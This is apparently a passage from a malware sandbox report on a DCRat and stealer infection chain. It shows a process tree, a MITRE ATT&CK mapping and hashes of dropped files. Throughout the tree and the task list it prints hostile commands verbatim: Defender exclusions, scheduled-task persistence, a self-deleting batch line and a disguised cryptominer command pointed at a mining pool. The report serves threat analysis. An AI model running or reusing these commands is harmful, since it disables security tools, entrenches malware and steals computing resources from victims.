    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    PID:5560
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:5712
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
    3⤵
    PID:5976
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      Runs ping.exe
      PID:6036
- C:\Users\Admin\AppData\Local\Temp\loader.exe
  "C:\Users\Admin\AppData\Local\Temp\loader.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4696
- - C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
    "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2844
- - C:\Users\Admin\AppData\Local\Temp\1.exe
    "C:\Users\Admin\AppData\Local\Temp\1.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3160
  - - C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\1.exe"
      4⤵
      Suspicious use of SetThreadContext
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1824
    - - C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
        5⤵
        
        PID:4860
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4452
    - - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        5⤵
        Executes dropped EXE
        
        PID:1356
      - C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "/sihost64"
        6⤵
        
        PID:4028
    - - C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:443 --user=445UV3m7uZw7vzcyJsS6YV6mctZdJzgKXWtU4NwucQNYfzPfuzdJ7LahEzkUx3aDrMAVDpEn1Cq8NSK9br8YqhhBAiWMTms --pass=100 --cpu-max-threads-hint=100 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=1 --cinit-idle-cpu=100 --nicehash --tls --cinit-stealth
        5⤵
        
        PID:4396
- - C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe
    "C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Modifies registry class
    PID:5204
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\chainContainerproviderdriver\GFpm16CSowFgEy35TRHcwvj4Rm.vbe"
      4⤵
      Checks computer location settings
      PID:5312
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\chainContainerproviderdriver\uDyCMCiZHpa.bat" "
        5⤵
        
        PID:5888
      - C:\chainContainerproviderdriver\PortContainercomponentsavesdll.exe
        
        "C:\chainContainerproviderdriver/PortContainercomponentsavesdll.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Program Files directory
        Modifies registry class
        
        PID:5932
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\j0AL9BY6sS.bat"
        7⤵
        
        PID:4556
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        8⤵
        
        PID:540
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        8⤵
        Runs ping.exe
        
        PID:1332
        
        C:\Program Files\Google\System.exe
        
        "C:\Program Files\Google\System.exe"
        8⤵
        Executes dropped EXE
        Suspicious behavior: GetForegroundWindowSpam
        
        PID:1424
- C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe
  "C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3908
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\ProviderDriverRef\eJD3VG.vbe"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2624
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\ProviderDriverRef\fAwipI.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4028
    - - C:\ProviderDriverRef\providerIntoCrtcommon.exe
        
        "C:\ProviderDriverRef/providerIntoCrtcommon.exe"
        5⤵
        Modifies WinLogon for persistence
        Checks computer location settings
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Program Files directory
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4692
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fkk3ah1s\fkk3ah1s.cmdline"
        6⤵
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:2536
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF5E9.tmp" "c:\Windows\System32\CSCC402F9C3427646DCBCB69585C6775FFC.TMP"
        7⤵
        
        PID:1792
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Photo Viewer\cmd.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4528
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Microsoft.NET\System.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:3776
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Google\Temp\conhost.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2032
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\loader.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:3116
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Portable Devices\conhost.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:3100
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProviderDriverRef\providerIntoCrtcommon.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:3348
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\I9DXZLE0Gd.bat"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1420
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        7⤵
        
        PID:3972
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        7⤵
        
        PID:2304
        
        C:\Program Files (x86)\Microsoft.NET\System.exe
        
        "C:\Program Files (x86)\Microsoft.NET\System.exe"
        7⤵
        Executes dropped EXE
        Suspicious behavior: GetForegroundWindowSpam
        
        PID:524
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\b9aNmsEibB.bat"
        8⤵
        
        PID:5964
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        9⤵
        
        PID:5932
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        9⤵
        
        PID:5012
- C:\Users\Admin\AppData\Local\Temp\1.exe
  "C:\Users\Admin\AppData\Local\Temp\1.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1744
- - C:\Windows\System32\conhost.exe
    "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\1.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3276
  - - C:\Windows\System32\cmd.exe
      "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5036
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:932
  - - C:\Windows\System32\cmd.exe
      "cmd" cmd /c "C:\Users\Admin\AppData\Roaming\services64.exe"
      4⤵
      PID:4668
    - - C:\Users\Admin\AppData\Roaming\services64.exe
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        5⤵
        Executes dropped EXE
        
        PID:228
      - C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\services64.exe"
        6⤵
        
        PID:1436
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c taskkill /f /PID "4028"
        7⤵
        
        PID:4692
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /PID "4028"
        8⤵
        Kills process with taskkill
        
        PID:5176
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        7⤵
        Executes dropped EXE
        
        PID:2120
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "/sihost64"
        8⤵
        
        PID:2536

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Windows Photo Viewer\cmd.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2700

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Photo Viewer\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4212

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Windows Photo Viewer\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1200

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Microsoft.NET\System.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2584

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft.NET\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4568

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Microsoft.NET\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1480

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Google\Temp\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1744

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Google\Temp\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1812

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Google\Temp\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1352

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "loaderl" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\loader.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1460

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "loader" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\loader.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3244

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "loaderl" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\loader.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5044

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 8 /tr "'C:\Program Files\Windows Portable Devices\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2948

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files\Windows Portable Devices\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:728

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Portable Devices\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1748

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "providerIntoCrtcommonp" /sc MINUTE /mo 13 /tr "'C:\ProviderDriverRef\providerIntoCrtcommon.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5020

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "providerIntoCrtcommon" /sc ONLOGON /tr "'C:\ProviderDriverRef\providerIntoCrtcommon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4868

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "providerIntoCrtcommonp" /sc MINUTE /mo 5 /tr "'C:\ProviderDriverRef\providerIntoCrtcommon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4452

C:\Windows\system32\schtasks.exe
schtasks.exe /delete /tn "cmd" /f
1⤵
- Process spawned unexpected child process
PID:5776

C:\Windows\system32\schtasks.exe
schtasks.exe /delete /tn "cmdc" /f
1⤵
- Process spawned unexpected child process
PID:5760

C:\Windows\system32\schtasks.exe
schtasks.exe /delete /tn "System" /f
1⤵
- Process spawned unexpected child process
PID:5716

C:\Windows\system32\schtasks.exe
schtasks.exe /delete /tn "SystemS" /f
1⤵
- Process spawned unexpected child process
PID:5740

C:\Windows\system32\schtasks.exe
schtasks.exe /delete /tn "conhost" /f
1⤵
- Process spawned unexpected child process
PID:5424

C:\Windows\system32\schtasks.exe
schtasks.exe /delete /tn "conhostc" /f
1⤵
- Process spawned unexpected child process
PID:4844

C:\Windows\system32\schtasks.exe
schtasks.exe /delete /tn "loader" /f
1⤵
- Process spawned unexpected child process
PID:1068

C:\Windows\system32\schtasks.exe
schtasks.exe /delete /tn "loaderl" /f
1⤵
- Process spawned unexpected child process
PID:5320

C:\Windows\system32\schtasks.exe
schtasks.exe /delete /tn "conhost" /f
1⤵
- Process spawned unexpected child process
PID:4636

C:\Windows\system32\schtasks.exe
schtasks.exe /delete /tn "conhostc" /f
1⤵
- Process spawned unexpected child process
PID:1840

C:\Windows\system32\schtasks.exe
schtasks.exe /delete /tn "providerIntoCrtcommon" /f
1⤵
- Process spawned unexpected child process
PID:5944

C:\Windows\system32\schtasks.exe
schtasks.exe /delete /tn "providerIntoCrtcommonp" /f
1⤵
- Process spawned unexpected child process
PID:6100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\Google\Temp\088424020bedd6

Filesize
519B

MD5
6a4fa264689e51c4efbe1ab8fb257ebe

SHA1
709ff4b076c77b96fa61460735c0412c3a560a1a

SHA256
8a8535703433cdfab913979536fb2ead2583a3d771925241b0eee946f52ce6ff

SHA512
85316f4228b90b7f689beb26e360a0fdc740dd2bb9f7f7cede0253b5a3bb8eb575c59179094c3ff26b98cb34fbe68d46ca5b5e31bff5344df73cb1750f2848c2

Download Submit
C:\Program Files (x86)\Microsoft.NET\27d1bcfc3c54e0

Filesize
628B

MD5
16db92e666b74bf27c19ecebb92fc731

SHA1
b9a5187077f99abc1bac326f01bd0d098f22a9c1

SHA256
b43c7d1eb9472586337d4c47ae56c70dfcd2fe47c07597cf6c55ba881c765ff4

SHA512
50bc00239d844c035507ba40819d24cdd6a6af1e79b1be3c8483abf3fc1d8a6877787c51ba089ebab432a8a4b0c167cfe473e7e2896010d5becc69f7906bbfd8

Download Submit
C:\Program Files (x86)\Windows Photo Viewer\ebf1f9fa8afd6d

Filesize
172B

MD5
93cc42fcf5acac4ac447e7884234496c

SHA1
9e08581549349c76298397fc164fda0da6485648

SHA256
90f8934247c4fc9693180a8e3a3a1e7a83d52faf52f25ed482f38a5fcb1690b9

SHA512
e8f5ebc9d4c4e31bdcb6667adc5d0a0e35714e1357c8de7db776f5f9094af6ad8f8ffbdb5f504adf943d9e52072b6a5290361eaa0b7735adc8fd938200a040c6

Download Submit
C:\Program Files\Windows Portable Devices\088424020bedd6

Filesize
284B

MD5
d68717abe7d4d29975113a642165b36e

SHA1
ed4b445130acdcf958c43b7c0fc6ca6b492fefc8

SHA256
ce385c80e1dcc82f9c7de2ada7593254e46f09fee971c63445ea0fd92f2b2cb2

SHA512
2be942c00a772798cf29a3dd04952eb9c566c3caea909fe4a4d1ab6ed29eeb7bf470202c0ccac2234579270af5e4530691a290f8c34bbb47de9130e7707619b5

Download Submit
C:\ProviderDriverRef\667b8d645277e3

Filesize
953B

MD5
29046fbaf698bf244c75d1fb592c217b

SHA1
0119ef99222d10d6463bafceef16b784dc19a182

SHA256
0bb55ac7176c74ce4b817793ffef0033435f5d003dfa079c0666adc608ca882e

SHA512
b022b6a2077c7c7b7e57c6bad3a95df5c03d18a79594885b0515a2d73bae64a0a65608d2b45052c4f87fb18e11615833a28460a21b44c0b39bf1d11d58fb369c

Download Submit
C:\ProviderDriverRef\eJD3VG.vbe

Filesize
198B

MD5
51193c792f88b815ce62701eb62e79ac

SHA1
bc0611ed093ca2a4c8dd07fec6badaea820a3331

SHA256
774eb705ea6dc91eda9537d6c8e264458cdab74d91cb5f9534bf1aecfa58118b

SHA512
b05086f77e5aee92f79c1851e0665a3afd141abcba4596d5a2cc1f98702f9fe0ff8630dc2f8ab4a333eedb83902427bc4e975424b6a8cfa212d6d3f1315fcc40

Download Submit
C:\ProviderDriverRef\fAwipI.bat

Filesize
100B

MD5
30390fe3edd146af3b11422784e0c84e

SHA1
89ed5ff2c3c3e244f418aa9ecac20d5dc7ce4fd2

SHA256
2c82d911eab62a585fcd338495c058e00d0df008624cfd06147788aca8b9de48

SHA512
7f07fc7834bf79320aa05117c9755cd948dce814c52a1ef4bab271130f22581e90f00e5d5a0731b91eca737f520b239824e14385a524b74d529dc1ac72877a83

Download Submit
C:\ProviderDriverRef\providerIntoCrtcommon.exe

Filesize
1.8MB

MD5
d6f30f712882f421720632e5d2587d15

SHA1
622f2e728498209b89e8f696c14d6ddab24d151f

SHA256
b5b960301f6466f65bae6fd82bc8996de3dbf54895eeeac4c331f53ed0b6b0ca

SHA512
75f7b58677635893009ffc417e433d93771a4b4cfbe077e9b6fb019fe195e9762533e49ef7c0e743872281093e906b142c8244a97041d82ae67f90123dcb8093

Download Submit
C:\Recovery\WindowsRE\f158362ecedb1e

Filesize
758B

MD5
e6ed54441040f97b0b71d1a69aae8f47

SHA1
0f5735b212b6435bd0b9e642700eb62648e9160a

SHA256
be04c5b5d615b704f3114bea5f052f475e4a719d1839ce984cac7546886250ac

SHA512
6c629bf234f33aec8c6595c6707f5dde5bf3e3ace133c2fa700218fe0972a7866604dd8231f3ad6ace64d944b72644272ac61dfc0d41818053f9411bb640e4d5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

Filesize
646B

MD5
23867f73ff39fa0dfee6cfb5d3d176ab

SHA1
8705a09d38e5f0b034a6f4b4deb5817e312204e1

SHA256
f416e8f8135e0d7a3163860b44fe7ebc8ca0f42e783e870e6ec74e3b6da44f88

SHA512
108dc8ff63b1e222a8a6311af329e8f3376bc356b4946d958a68d8e3d4c54356a3a9851fd689b0a5d4f3f27b47ec03aa0672cee1fba3047079642db0b7603ea1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
104d2b7e555fcf10c30c1d1f20513f35

SHA1
590857073b989475390979247c5310190fbbf00a

SHA256
24044ce3b4e7bc0e97e9e3f70c88e0645ccf02f7c92338832c087a8e7fd3a314

SHA512
f775e424622e13348b0f9a2dd43a4cb3144d7df14229bd88c8c004dd15776b0743c892972f1faf59aaf0d30a9702449ba65a8fb7f1363039b7f0286be3852c83

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
548dd08570d121a65e82abb7171cae1c

SHA1
1a1b5084b3a78f3acd0d811cc79dbcac121217ab

SHA256
cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc

SHA512
37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
763ac6ec6db09ad9c66b9da743cd97be

SHA1
9d7adf45853cc9d5e55fe7a5580b5d676e6050bd

SHA256
22a8bd4570f97e3acec66318821150aec3c86f3ce8d8aec9ab76456c51b5c47a

SHA512
48ea4968d0e748f9b7fb5710c377fd03af9d71cec5282e8d48bb1b2008b1a20a6d77ab382c4b275b7a6da832e7e11953f48398ccf4ab5ac4d20ba7986bd506bf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
a147e1f285441e8940016240db7ee5b4

SHA1
398bb0f78d6051932090d350223f9f9a43183b9a

SHA256
d3c68b71294d9dd432d1c6ff6adc405594fe4a7892ee14668493effdb30b012a

SHA512
30195c1ef084eab487e50e3f9563410439d4c17872da99e92f019615e8ec6e58b2e37c2ee9845c0df081fcd5ec0755c45a118acbfc7b6b1f110f836d665cb81f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d7de1687f661fa6a8b92f9ed71ab8a68

SHA1
55b7b2ff15042d9040f3c7d5a0f758a7c23d0b1c

SHA256
3c1c43b322d0a404df83ffa1b137b899034aeb096520db339a38d03c2e0493fa

SHA512
9364793fad5612e2627437efc1be8559a2bf71a2e3d71fed18ee552aa13119ad0e433c2d0ad910229cbf0dc89d0e69f27af5b7fb496421c49f6ed11f276cf2df

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
1a17dc3587a79a65e1b180f14b013b96

SHA1
a22d5af016de2d623ea3df80e638c7707959efdc

SHA256
4427b8dcb98b11ef0a9a929749a1c7255f08c2cea345c282cf506160607f9f92

SHA512
846900faeeeadc6fa0ac4f4717c70de751e29ff30e123c061f2736a1de873af81d3cf4d438ccfc8ab0e53bba03392a9c466556976fc50ebcfc06a673cfffcc94

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Temp\1.exe

Filesize
29.7MB

MD5
40174a5213d9558a8cadd57fb0e37c60

SHA1
357f27f6cee21340f9a9d57da2d75799482a9995

SHA256
6cd2b2f96d402d12356ef49b878db52144402fac929cde012f4e21d6839f2aad

SHA512
799533e1199c50dc018b0f936418455417801286360b2257b8dc9d0ccc32f3266e17885ab4042456f7a1b4aa17d8de63395037e65338444bc4bde305c3b23cbd

Download Submit
C:\Users\Admin\AppData\Local\Temp\6tB0wsKY42

Filesize
114KB

MD5
90a154a5a49cfdedd79b04b752a1eeb6

SHA1
ca2a9ac4b15e745c203d811c3275779d9cd7d957

SHA256
2d2968f191b8ae8a35c217497004c579d896bfee1b8dd48e48f54ddb2109f418

SHA512
11f8f95d16223da10783e72898bed150439d431ee59bfa16e7a81b0965c00d525081cf2d19a5e8e7062e7ab9375b44909002dafc69578463a1e86cbb27fab52b

Download Submit
C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe

Filesize
2.1MB

MD5
7a59cdf60cc76e32baacdcea38ce4ffe

SHA1
d4ce3008171c4c7c2efa9eafac22a7a434c0d618

SHA256
0adcbb26a2c80395a0a0ed0967283d00607e2eff34872e5edcdfda8f26b6a38d

SHA512
32eefa18bccd8808faae35617940a1fc96443f41ae5b38e7b3242cc86577d7bff2a1cdc292f5576a537b02d47f8a4f35f8f9cfed8bd100133c52fccfade6bf58

Download Submit
C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe

Filesize
2.1MB

MD5
0626eaf085367b26db71b9b8dfc51fef

SHA1
e4e9375faa71047d06d34683119619831b6b7cea

SHA256
e86a37e834b808117b8b01beca497ba736bf8036cf76b7688985f04bd7b8c113

SHA512
1fb3abff984f23d0d2a339e71518f933144e2e4cad9c87d7f3a1d8ec2c0ab6fafc4cfca4774f947f893137ecbe1e1300b148d19dcd18762f27fd28d1e0b8cec6

Download Submit
C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe

Filesize
1.9MB

MD5
ec801a7d4b72a288ec6c207bb9ff0131

SHA1
32eec2ae1f9e201516fa7fcdc16c4928f7997561

SHA256
b65f40618f584303ca0bcf9b5f88c233cc4237699c0c4bf40ba8facbe8195a46

SHA512
a07dd5e8241de73ce65ff8d74acef4942b85fc45cf6a7baafd3c0f9d330b08e7412f2023ba667e99b40e732a65e8fb4389f7fe73c7b6256ca71e63afe46cdcac

Download Submit
